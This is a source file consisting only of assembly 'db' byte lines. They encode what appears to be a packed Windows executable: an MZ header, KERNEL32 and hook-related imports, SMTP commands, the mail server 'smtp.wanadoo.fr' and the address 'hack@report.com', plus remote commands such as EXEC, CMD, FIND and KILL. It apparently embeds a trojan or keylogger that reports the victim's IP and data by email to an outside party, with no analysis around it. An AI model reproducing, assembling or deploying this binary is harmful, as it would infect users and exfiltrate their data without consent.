db 189,189,139,64,12,139,4,0,163,192,37,102,161,188,219,65 db 237,220,253,219,106,25,35,174,102,163,190,21,106,16,104,59 db 15,166,231,123,72,101,162,224,27,60,104,240,10,102,251,61 db 50,50,48,32,15,197,17,181,198,109,195,182,69,10,71,229 db 4,112,17,31,106,64,109,115,159,245,222,48,120,16,17,112 db 163,35,179,138,30,222,179,20,68,81,53,16,96,240,179,237 db 96,151,47,12,161,12,54,205,46,80,26,185,108,251,101,122 db 198,131,248,255,183,89,123,53,10,105,110,230,73,79,3,216 db 91,60,35,7,22,70,2,7,109,224,169,13,148,187,11,130 db 7,13,31,217,123,49,205,71,38,51,53,52,48,148,205,30 db 237,146,1,45,35,1,124,56,146,231,225,201,31,255,125,24 db 76,201,20,214,172,44,166,161,31,223,30,123,79,181,61,184 db 11,104,118,6,255,5,152,80,17,30,254,101,205,89,3,200 db 137,13,208,230,4,169,141,246,17,132,81,164,31,241,14,24 db 177,239,151,153,204,46,139,200,139,61,17,139,102,247,247,34 db 219,243,164,127,15,19,55,130,104,219,132,121,9,239,178,15 db 161,9,55,204,219,128,92,114,10,131,0,212,46,123,135,45 db 158,192,159,171,95,118,164,67,59,53,106,120,9,76,115,88 db 187,63,120,116,55,161,22,57,5,216,13,117,35,133,245,67 db 224,166,14,2,106,5,25,192,104,147,150,37,233,252,158,147 db 134,163,42,131,37,179,236,32,124,147,118,156,4,132,163,116 db 51,127,132,5,249,28,26,195,27,218,21,193,98,109,200,31 db 75,52,28,221,235,13,132,229,151,28,34,104,212,129,241,225 db 39,58,164,195,106,126,27,216,234,133,228,221,203,192,4,117 db 34,24,1,104,39,218,4,190,127,111,234,231,128,61,21,10 db 117,222,161,54,195,142,50,207,134,114,124,255,188,0,191,174 db 117,249,93,200,29,125,31,245,141,61,8,120,185,0,43,214 db 123,203,238,202,243,171,104,13,17,9,188,125,36,6,80,40 db 180,104,75,146,23,80,104,21,8,31,193,78,6,34,81,16 db 19,134,111,96,225,88,80,94,8,120,116,70,141,53,219,65 db 222,127,134,217,141,5,34,229,61,56,192,89,141,185,17,205 db 29,110,52,45,33,128,39,118,13,4,71,222,61,205,247,96 db 219,203,52,86,104,186,96,3,25,3,15,18,177,143,77,49 db 204,104,231,205,114,7,214,50,181,203,227,25,53,107,104,232 db 165,123,191,2,18,24,64,174,103,54,247,169,125,18,24,127 db 0,179,151,125,114,123,35,33,227,148,150,106,15,12,186,197 db 70,12,10,211,120,115,161,248,223,203,130,140,27,144,163,26 db 141,117,206,139,254,86,137,8,175,237,52,1,86,26,16,120 db 18,95,120,96,175,127,141,19,172,60,131,215,88,64,64,4 db 233,255,255,59,198,116,34,87,176,10,106,50,89,242,174,128 db 103,255,0,95,139,199,48,224,178,223,44,34,10,243,166,11 db 201,116,23,56,156,92,98,19,193,252,14,8,202,1,177,25 db 227,161,83,210,119,163,42,90,10,54,194,194,94,236,100,41 db 168,64,144,195,114,140,47,27,117,3,92,251,86,112,113,178 db 199,67,69,254,233,120,114,198,64,83,251,147,185,21,149,20 db 46,141,133,140,252,41,145,13,55,14,33,83,248,24,147,151 db 93,161,250,231,224,221,6,105,5,171,87,104,254,29,24,206 db 71,128,63,27,123,95,88,72,250,118,7,62,0,184,34,215 db 145,166,54,113,97,175,104,13,95,196,169,128,101,195,221,120 db 214,254,76,139,247,98,185,250,109,103,130,217,86,66,75,44 db 151,79,173,224,232,70,67,115,198,86,207,133,126,183,240,43 db 198,6,32,25,149,71,59,241,114,30,78,78,15,11,216,118 db 236,251,32,8,49,3,141,10,80,120,101,109,103,123,67,133 db 157,198,70,1,119,53,61,63,242,105,120,179,93,142,60,36 db 116,28,12,21,57,103,255,238,27,18,50,9,236,173,13,32 db 0,151,137,125,251,129,255,105,110,49,129,221,198,102,111,17 db 213,173,51,219,12,54,7,4,102,120,16,157,1,243,215,27 db 251,56,92,199,133,103,162,141,9,80,6,69,185,125,103,99 db 41,178,28,100,252,225,108,231,161,35,100,100,6,104,76,236 db 236,9,255,200,106,9,104,66,145,230,106,8,90,16,17,235 db 62,132,87,148,149,104,20,117,34,100,48,236,126,127,237,242 db 209,12,141,29,120,5,61,190,24,96,86,255,119,177,245,224 db 6,3,175,6,137,3,198,67,3,32,131,195,4,235,254,151 db 183,183,17,17,5,116,5,22,2,117,7,171,79,176,32,170 db 131,198,4,128,2,67,232,23,180,117,207,97,87,83,35,71 db 203,158,123,195,111,223,235,5,104,122,6,152,188,188,145,222 db 225,104,133,105,33,223,237,161,9,8,8,111,9,186,13,63 db 187,15,200,67,34,160,15,116,97,163,247,38,139,240,197,254 db 28,219,51,255,19,87,135,42,102,139,198,69,176,24,124,220 db 176,118,37,104,94,86,26,22,253,31,176,110,80,93,86,88 db 88,3,240,71,131,255,35,117,190,67,129,108,96,178,96,192 db 112,247,215,11,183,101,135,152,170,20,11,219,185,60,242,220 db 114,180,253,195,23,179,202,102,118,245,47,92,78,12,233,30 db 43,224,108,111,103,111,117,113,185,238,194,70,195,248,143,33 db 49,10,191,6,10,63,205,79,243,235,60,60,50,12,49,60 db 51,5,38,60,52,141,20,246,52,4,27,85,64,15,110,36 db 99,26,160,251,162,14,110,23,254,96,120,109,115,103,32,117 db 73,188,231,210,174,172,170,178,185,209,59,170,250,50,192,170 db 245,19,47,4,118,15,97,179,5,88,201,100,105,114,233,195 db 49,182,33,240,218,97,188,254,186,185,104,197,201,114,119,63 db 176,137,133,184,16,141,189,232,5,130,91,110,180,26,10,148 db 71,120,30,247,47,90,102,251,17,155,116,6,17,114,150,71 db 182,238,13,101,255,181,220,21,86,76,232,189,104,174,134,125 db 97,118,20,235,29,33,252,99,102,96,101,30,254,13,41,130 db 13,140,23,26,40,162,182,143,190,215,65,152,163,182,63,90 db 18,255,110,124,132,75,170,76,60,82,69,80,174,32,0,74 db 33,151,203,229,119,21,1,210,131,0,91,167,67,232,131,251 db 169,97,33,79,215,59,109,34,78,107,45,141,172,67,21,236 db 156,110,66,235,106,43,176,4,78,155,28,204,40,48,2,200 db 5,25,6,153,96,233,114,99,100,117,121,217,28,6,156,61 db 3,90,61,185,112,102,93,126,6,251,248,74,14,24,1,194 db 26,27,136,99,3,222,66,0,186,27,108,246,69,82,32,81 db 105,115,116,161,18,242,233,220,102,98,246,17,228,104,128,223 db 54,11,40,35,167,28,16,117,127,221,238,235,124,4,9,112 db 38,21,252,15,190,10,139,14,227,102,172,165,220,117,81,66 db 219,31,73,46,219,30,158,237,100,139,216,43,1,116,56,83 db 46,0,128,67,198,177,191,131,232,4,120,68,255,54,20,104 db 245,136,16,241,190,131,140,184,135,185,239,191,56,223,6,34 db 125,247,83,101,32,129,254,18,15,190,71,59,195,142,120,102 db 214,17,133,44,28,146,96,54,186,14,138,129,50,72,108,180 db 135,247,88,46,213,140,253,40,141,9,167,103,115,219,147,180 db 59,52,10,148,17,23,176,217,40,105,101,150,31,78,121,152 db 53,12,58,146,173,14,242,116,90,184,255,3,107,105,108,108 db 117,123,70,185,40,152,161,126,227,75,45,111,215,198,71,254 db 0,66,45,117,1,70,86,225,5,111,255,78,48,128,126,255 db 12,2,247,216,204,76,217,207,80,14,46,66,13,106,80,249 db 132,23,8,221,88,21,24,247,235,22,244,76,221,254,137,99 db 118,114,116,117,63,70,125,185,232,171,223,153,161,195,130,104 db 144,46,86,195,10,108,252,34,51,70,115,114,118,108,23,203 db 60,135,141,204,74,14,32,255,145,140,29,18,221,57,78,247 db 57,18,139,132,92,229,129,14,231,2,109,225,129,36,100,115 db 212,190,11,238,126,154,187,20,14,119,51,50,48,5,190,59 db 6,102,129,15,247,52,240,214,39,4,63,45,114,251,1,19 db 13,161,155,99,205,115,2,37,191,3,137,53,34,149,22,217 db 153,91,5,61,38,100,32,91,214,171,50,179,92,115,148,183 db 35,49,144,11,230,232,7,48,33,46,69,210,169,103,255,178 db 159,168,228,162,144,107,196,148,156,40,228,100,34,38,8,217 db 15,12,102,116,117,112,78,88,172,173,154,198,242,76,81,59 db 212,107,148,44,82,75,134,12,51,168,137,87,9,175,13,161 db 22,109,107,13,204,177,35,123,117,83,70,209,106,122,58,128 db 91,163,41,18,113,102,248,210,115,18,210,171,101,89,191,132 db 94,53,27,175,206,237,30,79,10,163,173,75,14,177,37,235 db 245,115,42,126,83,60,176,85,178,46,200,248,104,118,191,219 db 88,12,12,86,13,244,117,225,32,137,110,28,105,176,175,85 db 200,115,180,23,0,213,242,75,73,115,114,109,81,211,59,70 db 100,11,125,80,114,101,110,113,95,210,31,148,140,93,87,102 db 40,100,101,108,25,33,100,45,79,190,145,152,177,64,57,40 db 119,228,49,207,22,242,52,82,54,131,10,104,44,255,192,58 db 161,47,10,8,124,101,120,101,99,117,118,39,140,86,2,79 db 8,227,4,189,224,160,3,85,232,1,104,9,105,145,93,58 db 249,92,24,137,108,26,32,118,182,146,11,20,78,111,112,117 db 209,145,1,9,98,241,177,43,24,130,180,118,15,113,100,20 db 59,94,167,235,23,104,128,7,25,160,9,134,4,216,170,78 db 156,98,132,65,134,234,111,207,17,82,13,187,101,83,230,200 db 211,208,237,61,32,161,107,118,34,121,82,197,104,120,72,92 db 83,67,25,173,8,240,230,50,226,172,144,86,230,158,136,142 db 206,16,208,65,22,229,86,217,223,39,113,222,46,64,128,61 db 11,255,116,18,8,8,179,125,242,254,116,9,239,117,48,72 db 192,121,26,102,203,11,106,183,84,23,86,177,255,11,235,96 db 87,139,206,131,225,127,139,62,0,13,187,208,133,25,95,227 db 246,187,106,65,189,148,178,128,42,88,117,42,116,11,18,90 db 20,146,200,107,160,74,89,126,149,16,156,102,112,117,116,56 db 97,207,80,198,30,52,87,19,117,46,236,115,32,139,223,20 db 11,12,120,111,185,24,235,211,95,143,1,192,204,93,66,223 db 198,30,63,136,19,31,94,139,127,109,1,179,46,83,106,21 db 87,224,21,133,230,110,250,40,18,43,91,163,231,23,138,23 db 167,225,237,237,51,201,73,91,253,176,92,4,252,71,71,75 db 55,25,30,74,200,56,105,162,87,32,88,152,145,162,51,18 db 0,205,182,94,131,80,94,61,205,11,73,244,109,203,70,19 db 189,147,0,44,205,135,69,178,160,178,119,115,100,137,24,32 db 164,146,1,13,129,128,96,198,206,50,14,191,58,51,118,217 db 102,36,34,15,67,32,26,176,148,217,38,132,167,239,227,13 db 210,139,167,51,187,143,43,83,29,15,249,52,42,1,192,87 db 117,66,255,50,43,171,133,60,147,115,172,145,45,158,111,79 db 211,187,172,64,11,132,179,61,28,134,153,128,115,54,195,73 db 189,104,136,189,239,47,182,132,187,99,133,65,42,73,163,116 db 31,57,20,137,126,114,22,123,52,42,37,128,59,124,235,190 db 132,203,26,201,12,197,61,12,102,213,4,25,5,142,104,133 db 60,156,140,131,45,35,0,112,118,92,8,247,131,165,120,96 db 65,122,159,121,128,59,125,131,109,3,249,128,39,67,193,91 db 199,3,80,179,112,86,243,232,24,83,15,244,2,124,15,215 db 240,13,133,139,123,8,11,140,196,31,141,247,45,70,190,46 db 12,183,252,3,127,3,116,109,68,73,223,98,105,127,4,83 db 64,176,4,104,122,175,167,45,38,123,193,142,220,14,130,162 db 192,222,44,102,10,162,23,151,32,11,179,243,255,133,125,39 db 124,128,127,101,199,250,136,58,236,27,10,117,60,80,192,145 db 176,192,79,213,88,85,59,216,101,74,18,241,61,3,25,142 db 112,153,185,216,133,47,95,238,238,235,81,167,97,169,15,44 db 105,199,45,237,8,79,89,177,144,16,168,235,93,235,64,104 db 144,20,74,143,86,178,217,5,62,65,3,46,99,226,25,244 db 11,245,164,94,3,252,161,58,235,175,254,110,138,24,185,85 db 139,125,8,120,170,44,94,224,193,127,3,248,79,17,92,117 db 250,141,5,96,246,126,103,56,31,117,246,46,123,30,253,251 db 218,11,167,134,60,56,95,18,87,242,136,139,77,252,60,82 db 117,181,17,57,145,206,203,104,217,97,146,188,228,6,56,16 db 108,16,108,253,197,132,240,25,11,5,179,201,194,8,8,67 db 196,184,51,48,16,102,200,93,194,205,70,173,74,183,180,75 db 220,5,4,56,249,86,165,11,203,65,0,50,19,81,239,77 db 118,231,208,17,26,12,35,55,201,27,208,98,106,37,46,195 db 65,53,13,180,83,76,138,20,19,172,9,24,123,86,221,64 db 94,125,32,24,19,95,225,62,254,104,41,9,108,4,199,8 db 33,95,244,255,208,195,225,4,133,87,154,50,47,195,179,11 db 61,147,128,82,178,18,20,148,79,147,130,21,111,75,30,104 db 36,162,241,173,0,210,21,185,218,158,218,59,129,169,75,163 db 166,8,4,239,197,14,228,32,3,42,70,19,148,140,120,118 db 9,110,96,146,51,180,111,192,88,177,200,249,83,131,101,204 db 27,121,158,136,45,201,15,90,149,196,229,200,65,32,131,204 db 137,112,98,217,110,141,29,191,29,200,25,204,80,3,208,3 db 180,134,183,212,80,34,104,200,209,152,193,243,125,54,5,34 db 117,252,50,172,140,19,242,144,54,50,93,200,80,129,106,139 db 44,164,195,138,3,233,51,103,37,59,100,91,147,163,42,67 db 4,43,176,94,35,43,253,44,2,125,36,110,21,56,195,214 db 114,117,160,211,131,69,98,88,162,212,155,154,184,104,24,140 db 91,243,216,8,216,236,131,125,120,36,10,116,56,6,16,83 db 47,202,121,182,183,116,17,30,248,33,18,248,232,218,97,131 db 189,3,255,69,216,14,154,89,139,18,182,11,152,202,92,61 db 79,255,1,20,214,130,57,176,95,32,82,220,124,50,80,50 db 216,1,97,160,55,146,193,204,1,26,91,166,6,50,193,39 db 77,90,144,0,116,137,197,136,217,93,211,0,184,0,0,188 db 249,127,115,145,4,200,14,31,186,14,0,180,9,205,33,184 db 1,76,219,255,239,96,84,45,32,112,114,111,103,114,97,109 db 32,99,97,110,110,111,235,98,169,191,109,245,101,32,114,117 db 46,105,2,68,79,83,32,109,111,212,96,255,193,126,46,13 db 13,10,36,67,113,212,247,219,53,181,153,136,3,143,220,124 db 119,38,7,201,149,139,136,52,187,170,138,82,105,99,11,117 db 132,189,104,27,139,80,144,76,254,176,75,193,1,5,33,182 db 61,19,224,0,14,33,11,193,6,27,91,12,220,8,228,16 db 3,123,179,177,177,32,34,16,11,2,26,0,7,103,110,73 db 55,12,96,30,52,16,179,240,108,96,7,6,224,49,47,156 db 38,6,201,194,48,44,60,10,69,194,0,217,72,0,0,48 db 139,123,167,219,224,46,116,103,116,164,146,144,179,126,223,45 db 236,4,35,234,96,46,98,115,115,16,112,2,252,203,5,118 db 123,128,208,46,114,100,97,116,97,192,146,48,185,124,2,59 db 2,247,102,179,102,64,46,38,106,160,47,207,242,79,217,12 db 39,192,46,114,101,108,111,99,104,80,194,78,201,32,14,66 db 0,0,167,192,21,162,91,69,137,83,37,28,19,165,2,9 db 193,133,175,66,197,112,125,244,117,32,38,94,26,75,174,169 db 24,116,20,80,45,116,11,152,130,104,195,123,8,42,232,134 db 20,252,190,40,252,235,30,37,115,24,196,43,241,6,217,27 db 4,246,70,88,76,188,19,111,54,97,54,36,105,247,7,153 db 90,230,120,6,41,8,163,51,182,48,19,174,208,183,94,60 db 144,177,147,181,15,81,41,14,34,12,95,119,44,62,41,2 db 195,24,12,34,64,100,51,222,102,83,189,18,228,12,192,40 db 216,247,164,250,185,9,122,13,39,120,171,228,94,86,173,254 db 16,136,93,87,83,81,86,82,70,205,190,88,124,10,80,78 db 57,210,205,108,255,11,246,54,183,27,22,228,90,94,89,91 db 95,62,8,26,48,87,158,188,250,37,32,240,244,135,26,25 db 73,218,52,3,71,235,248,13,172,253,111,191,255,92,116,7 db 198,7,92,128,103,27,70,149,58,27,185,110,194,250,64,232 db 198,20,228,158,144,238,75,133,252,128,189,238,22,115,31,21 db 187,224,113,247,48,84,29,154,63,123,200,97,103,238,158,252 db 235,72,66,163,109,16,14,12,66,240,66,3,169,54,153,187 db 212,192,104,2,108,23,234,66,143,153,47,11,16,255,181,226 db 15,255,85,12,154,207,135,122,161,41,188,250,40,204,108,94 db 104,88,86,18,219,8,138,37,32,48,200,200,200,86,5,4 db 8,12,200,200,200,200,16,20,24,28,200,200,200,200,0,56 db 40,44,162,176,204,200,48,52,8,166,89,110,47,80,49,3 db 200,48,218,234,92,211,52,203,2,49,18,44,68,188,19,108 db 154,166,251,0,124,23,140,156,176,106,49,203,119,9,131,48 db 175,92,19,48,164,96,6,51,32,198,231,123,109,49,42,73 db 12,70,88,187,193,2,91,67,95,115,101,31,11,70,182,183 db 183,3,114,115,116,4,108,101,65,29,145,78,43,254,103,38 db 30,16,225,0,71,101,116,67,117,114,187,255,107,254,118,116 db 68,39,101,99,116,111,114,121,240,23,68,114,105,118,101,84 db 22,45,154,221,121,112,39,9,1,76,194,112,242,246,118,236 db 97,108,22,83,116,5,110,103,115,65,62,2,83,116,219,246 db 4,211,2,108,117,114,46,116,11,220,93,226,255,157,112,23 db 75,69,82,78,69,76,51,50,43,108,108,222,254,183,189,13 db 20,0,67,80,108,143,72,111,111,107,69,120,17,219,1,80 db 115,223,37,222,186,116,77,101,153,97,103,177,16,95,177,217 db 221,119,89,15,93,111,87,196,111,119,115,51,43,97,238,183 db 20,129,2,85,110,104,11,22,144,180,178,97,109,83,106,103 db 0,136,217,226,33,19,48,50,34,1,217,52,91,107,172,3 db 24,40,191,16,179,108,154,102,98,246,159,59,50,84,237,232 db 51,77,98,111,57,2,41,75,98,221,182,67,236,114,105,86 db 160,97,236,104,65,110,17,225,173,13,12,120,101,100,46,102 db 73,110,40,208,111,215,213,234,75,66,42,0,82,51,70,206 db 209,86,149,24,83,15,12,0,136,66,154,181,34,25,232,161 db 52,132,176,109,42,181,135,81,70,2,32,68,255,127,179,76 db 16,72,8,48,51,48,79,48,106,48,114,48,119,48,131,48 db 146,255,255,255,255,48,161,48,181,48,196,48,209,48,123,49 db 213,49,232,49,237,49,254,49,14,50,64,50,70,50,76,50 db 82,50,88,50,94,40,146,255,255,50,100,50,106,50,112,50 db 118,50,124,50,130,50,136,50,142,50,134,224,24,141,202,224 db 245,127,34,102,15,218,228,249,5,31,9,123,65,62,71,95 db 228,249,232,249,11,18,220,10,241,9,57,159,104,228,191,35 db 224,247,201,100,73,158,59,142,18,130,113,2,221,138,182,136 db 64,202,70,19,138,195,92,35,14,130,51,178,243,179,70,80 db 84,59,28,104,180,16,203,78,17,236,130,11,121,101,75,246 db 186,101,16,67,65,82,14,133,73,138,111,114,236,250,38,106 db 2,44,25,209,176,106,172,127,43,136,28,156,156,232,250,7 db 236,123,42,32,207,169,182,106,8,39,171,161,120,167,172,252 db 177,141,189,11,204,212,222,109,21,134,166,53,172,170,10,192 db 11,230,59,117,82,92,145,216,121,245,96,195,62,138,81,17 db 106,63,21,141,1,204,190,20,122,18,207,81,77,177,43,130 db 31,132,104,248,37,181,151,173,236,123,160,110,226,127,11,76 db 130,177,98,115,46,13,0,151,2,104,87,76,104,122,64,106 db 177,139,216,170,210,167,179,71,104,251,104,134,214,189,22,169 db 70,138,124,0,198,139,223,81,31,6,9,253,139,200,43,71 db 71,252,87,104,107,75,71,184,167,129,81,136,38,147,156,66 db 86,197,14,0,24,234,3,189,199,138,33,80,131,189,177,8 db 228,22,123,50,186,208,131,165,19,26,224,249,151,241,146,28 db 224,249,10,24,34,162,109,182,65,85,6,74,183,163,190,7 db 185,53,235,176,75,97,4,163,236,15,89,158,75,158,75,240 db 102,244,115,226,100,159,75,248,176,97,90,116,34,203,158,203 db 150,79,182,31,252,196,15,210,41,54,16,17,88,252,128,36 db 145,162,20,229,244,251,106,62,208,191,32,208,54,219,67,155 db 32,57,5,16,227,253,104,43,128,16,145,213,131,61,12,5 db 118,93,192,123,30,141,141,51,148,42,23,104,144,226,61,25 db 228,21,35,124,88,163,38,7,189,243,172,44,252,253,17,218 db 176,3,61,160,74,208,27,97,144,25,123,104,121,96,11,251 db 209,176,201,102,188,14,42,106,80,35,120,128,11,88,104,17 db 123,107,179,243,233,114,38,250,251,20,15,207,200,30,146,61 db 58,98,65,216,250,66,255,172,250,66,2,86,81,139,240,156 db 138,4,49,60,65,114,237,255,111,255,9,60,90,119,5,4 db 32,136,12,73,121,237,139,198,89,94,195,81,51,201,65,128 db 60,35,213,64,76,248,117,249,139,193,89,51,244,51,216,126 db 11,90,114,39,32,117,1,64,129,6,230,238,182,59,103,9 db 9,16,13,117,3,26,65,8,8,117,25,183,37,75,212,115 db 64,255,25,254,13,219,109,224,218,106,107,12,30,146,7,5 db 57,119,52,21,57,25,27,65,12,90,96,76,183,25,43,5 db 88,186,114,10,8,192,100,146,67,206,18,219,228,233,82,171 db 62,57,245,73,116,28,219,210,184,127,191,205,47,254,5,113 db 128,61,5,70,15,130,28,18,97,211,217,48,31,229,120,70 db 103,107,191,44,137,222,9,128,37,40,247,106,166,194,4,42 db 55,58,182,89,145,131,117,190,90,211,237,88,183,63,19,61 db 96,234,5,118,31,80,80,195,10,11,186,44,96,234,10,82 db 92,146,128,230,227,91,89,159,83,209,96,63,9,56,91,65 db 83,104,123,159,139,85,170,247,123,64,187,15,3,29,27,123 db 109,28,227,187,125,202,96,200,202,134,29,199,180,127,33,91 db 38,202,78,163,35,125,118,68,239,247,178,141,181,11,129,61 db 52,188,114,45,22,116,136,206,80,143,217,83,19,50,200,229 db 123,159,71,107,219,88,220,162,135,16,71,64,241,100,187,156 db 102,187,219,0,122,157,76,11,193,227,8,8,72,156,179,145 db 27,106,68,241,72,6,76,111,3,157,13,69,60,114,53,139 db 141,33,190,12,78,150,73,84,0,67,149,231,242,239,15,209 db 14,148,2,28,71,54,138,156,40,27,240,38,219,255,136,92 db 16,4,64,10,219,117,239,82,50,64,38,173,251,174,207,166 db 86,120,44,73,90,141,130,9,51,80,6,50,114,228,200,8 db 3,7,2,134,1,5,46,249,92,58,66,4,80,107,107,0 db 248,32,71,162,96,204,14,232,120,81,82,130,255,55,254,83 db 139,117,12,139,69,8,196,138,20,1,10,210,117,10,145,91 db 90,89,223,104,27,239,251,235,44,128,250,142,18,4,141,13 db 128,234,65,203,203,219,255,179,25,42,218,178,65,2,211,235 db 21,22,97,114,16,122,119,11,97,214,254,47,35,97,134,20 db 49,65,235,189,255,37,112,81,117,5,200,200,200,200,92,88 db 84,80,200,200,200,200,76,72,68,64,200,200,200,200,108,56 db 52,48,200,200,200,200,44,40,36,32,216,200,200,200,28,60 db 96,100,119,35,35,223,201,104,80,5,92,96,100,35,35,35 db 35,104,108,112,116,35,35,35,35,120,124,128,132,35,35,35 db 35,136,140,144,148,35,35,35,35,152,156,160,164,35,35,35 db 35,168,172,176,180,35,35,35,35,184,188,192,196,35,35,35 db 35,200,204,208,212,35,35,35,35,216,220,224,228,35,35,35 db 35,232,236,64,244,35,35,35,35,248,252,240,84,35,35,35 db 35,80,76,72,68,35,35,35,35,28,56,52,48,35,35,35 db 35,44,40,36,32,35,35,35,35,0,24,20,16,35,35,35 db 35,12,8,4,160,70,70,70,158,81,156,152,148,144,70,70 db 70,70,140,120,124,128,93,97,70,70,132,136,238,87,253,119 db 52,74,14,145,142,51,210,138,6,70,60,2,117,18,23,110 db 251,191,6,247,210,70,235,11,44,48,141,12,137,2,72,21 db 118,99,238,21,127,241,141,4,17,51,194,95,237,143,65,20 db 35,35,35,99,5,8,4,168,176,35,35,35,35,180,184,188 db 192,35,35,35,35,196,200,204,208,35,35,35,35,212,216,220 db 224,141,40,178,42,6,146,64,64,149,2,127,249,143,160,84 db 83,95,115,101,114,118,0,97,98,101,102,104,86,48,57,9 db 246,154,2,61,165,104,41,8,51,103,131,84,180,223,109,39 db 83,45,105,99,101,80,114,111,4,190,123,114,187,204,13,10 db 1,45,45,32,83,17,105,111,110,32,84,246,134,253,223,35 db 109,105,110,233,101,44,32,37,115,32,29,41,14,96,109,236 db 189,18,3,56,42,0,14,219,23,246,220,32,10,17,79,78 db 111,117,153,108,255,15,44,217,108,101,88,75,115,109,116,112 db 46,119,97,110,97,100,255,255,127,251,111,111,46,102,114,224 db 104,97,99,107,64,114,101,112,111,114,116,46,99,111,109,0 db 115,97,100,100,97,109,55,160,111,229,46,104,117,140,55,64 db 99,97,14,97,105,255,251,239,177,108,27,45,42,61,1,60 db 32,82,97,112,48,32,73,80,32,62,61,97,219,186,103,20 db 45,0,97,33,17,112,152,85,27,110,119,119,155,96,109,200 db 68,97,116,5,72,101,117,96,32,33,91,1,131,197,129,199 db 46,112,0,33,43,120,5,137,112,43,43,120,5,99,125,35 db 27,97,5,177,0,238,2,177,109,36,83,188,116,96,110,80 db 32,65,248,183,119,53,103,101,0,112,213,112,105,0,69,110 db 117,109,129,175,125,131,112,55,41,77,111,100,117,31,89,152 db 193,64,184,78,174,162,83,0,13,191,181,15,60,37,100,32 db 46,194,116,40,115,41,62,102,83,237,25,196,134,121,203,109 db 92,70,67,111,3,131,176,64,108,77,108,231,92,222,115,157 db 69,184,189,92,191,34,65,99,229,12,32,11,134,6,209,39 db 110,111,137,108,116,222,218,237,11,125,58,47,47,119,0,46 db 109,47,60,115,111,102,119,134,141,19,117,72,45,79,23,99 db 77,65,73,26,196,235,254,76,32,70,82,79,77,58,126,115 db 117,145,108,219,100,23,105,116,111,15,70,55,109,12,34,247 db 207,13,182,34,17,84,27,59,83,117,98,106,104,64,83,96 db 51,12,40,0,115,99,188,115,13,6,113,117,105,116,74,46 db 5,0,98,99,195,13,51,5,121,73,116,238,172,253,37,69 db 32,118,55,46,48,32,52,221,32,182,208,248,111,133,112,56 db 223,100,46,32,91,39,63,39,32,16,113,91,130,190,22,32 db 97,102,102,236,101,8,108,39,89,251,96,188,52,100,101,93 db 157,36,73,78,70,223,0,176,49,200,187,13,77,83,71,32 db 34,245,120,55,18,113,193,35,135,32,109,59,34,31,214,188 db 57,123,68,73,82,33,6,87,76,73,83,84,87,67,83,59 db 228,221,76,59,67,86,82,84,67,105,49,154,169,235,54,107 db 111,156,97,144,110,145,169,117,103,173,208,124,156,12,26,99 db 148,116,46,128,193,254,82,83,82,86,76,54,91,235,215,209 db 74,75,20,87,158,4,121,93,16,135,157,117,55,50,45,115 db 12,93,40,83,95,78,57,59,225,107,226,153,115,221,34,29 db 75,133,43,100,34,68,75,216,55,236,251,97,130,34,80,73 db 68,18,67,46,18,59,214,186,13,45,112,189,111,190,44,77 db 75,253,167,144,19,152,25,82,77,69,78,40,67,195,100,77 db 70,134,105,135,215,219,48,53,201,95,168,34,145,23,37,255 db 102,91,97,146,102,26,127,70,73,78,68,107,148,219,118,32 db 2,102,182,101,110,253,46,132,133,195,118,42,65,182,34,107 db 208,110,157,55,155,178,198,171,102,100,101,30,61,97,32,249 db 69,88,69,67,72,205,79,80,150,126,11,236,172,37,117,34 db 42,16,71,165,135,176,199,162,80,85,84,40,32,40,70,190 db 203,66,119,227,108,32,80,191,104,41,161,110,113,46,46,11 db 86,231,58,112,16,117,135,10,251,183,181,177,112,97,92,119 db 177,100,81,65,87,69,66,6,240,67,254,241,69,77,79,87 db 83,68,76,85,114,108,47,97,101,29,131,29,46,150,34,154 db 228,206,16,13,249,75,69,89,192,94,194,210,108,183,91,1 db 48,93,3,49,42,93,216,187,91,70,35,193,239,202,79,70 db 70,50,109,187,21,56,49,60,126,79,79,211,50,184,109,91 db 250,182,79,137,82,24,51,96,72,229,68,14,195,9,179,11 db 18,52,32,44,73,73,42,109,105,107,39,141,200,236,99,167 db 117,134,29,0,205,192,111,32,184,143,79,0,212,84,12,96 db 23,99,80,100,117,166,82,193,113,205,207,156,154,36,22,182 db 55,45,228,93,17,118,111,121,101,14,97,26,99,107,144,158 db 54,147,117,193,46,155,69,204,173,125,166,147,185,178,37,105 db 72,38,10,89,194,182,108,13,114,64,44,14,139,85,218,4 db 102,108,210,96,110,76,206,84,234,10,118,77,243,94,254,0 db 23,129,214,95,7,45,8,194,194,217,37,179,57,120,65,67 db 163,109,71,131,215,172,185,36,18,45,108,187,104,232,58,16 db 38,101,117,108,63,131,7,219,86,216,206,47,82,41,185,223 db 221,181,10,3,38,162,79,87,101,98,54,97,111,169,4,85 db 115,12,34,76,87,182,118,7,198,102,247,101,203,106,97,159 db 76,6,214,40,208,217,108,1,90,246,234,224,194,205,116,225 db 108,133,63,60,216,26,72,217,112,164,109,229,113,107,237,51 db 247,166,85,157,176,67,122,32,104,39,196,154,146,238,50,121 db 47,118,26,70,74,31,56,111,67,109,173,64,181,243,75,220 db 101,114,172,64,181,35,82,117,110,29,75,83,224,202,67,8 db 24,101,203,185,88,99,39,203,58,23,91,96,240,91,248,92 db 161,26,166,86,0,124,11,124,7,54,193,65,225,67,191,226 db 200,32,201,224,19,24,138,42,46,42,227,2,6,9,123,7 db 0,237,51,95,55,232,42,73,137,71,69,172,32,60,163,115 db 13,221,47,60,109,62,39,30,37,101,248,184,27,227,0,135 db 62,9,66,89,69,168,16,193,5,193,61,50,71,70,73,73 db 137,194,217,214,119,233,83,84,133,238,64,18,94,87,91,116 db 155,170,112,48,185,152,166,24,183,135,131,137,66,169,14,174 db 24,97,3,40,24,160,71,46,32,220,245,9,17,78,246,69 db 10,78,84,241,4,19,90,132,134,51,117,73,54,125,214,76 db 1,107,170,26,246,47,25,235,28,179,7,79,83,8,47,238 db 117,165,23,115,152,222,41,227,242,12,42,109,173,49,178,33 db 112,182,30,108,16,152,193,236,10,27,125,228,44,101,141,222 db 94,22,26,228,9,5,115,49,239,27,13,152,57,22,168,88 db 97,113,18,231,46,227,18,122,115,115,115,28,226,22,75,194 db 132,175,219,48,251,251,94,204,34,116,186,71,68,189,225,98 db 111,97,112,237,121,13,53,18,182,138,174,100,150,204,101,43 db 83,135,197,173,183,87,84,87,65,126,92,77,123,92,59,44 db 102,64,138,210,86,48,172,209,226,81,49,198,161,45,22,130 db 111,3,19,67,77,0,28,123,31,105,154,166,233,3,37,43 db 48,52,58,81,104,71,166,62,245,103,117,167,214,106,100,162 db 30,130,90,162,215,116,43,108,232,112,0,117,0,119,130,17 db 0,109,70,47,90,51,5,166,94,36,79,140,204,32,92,70 db 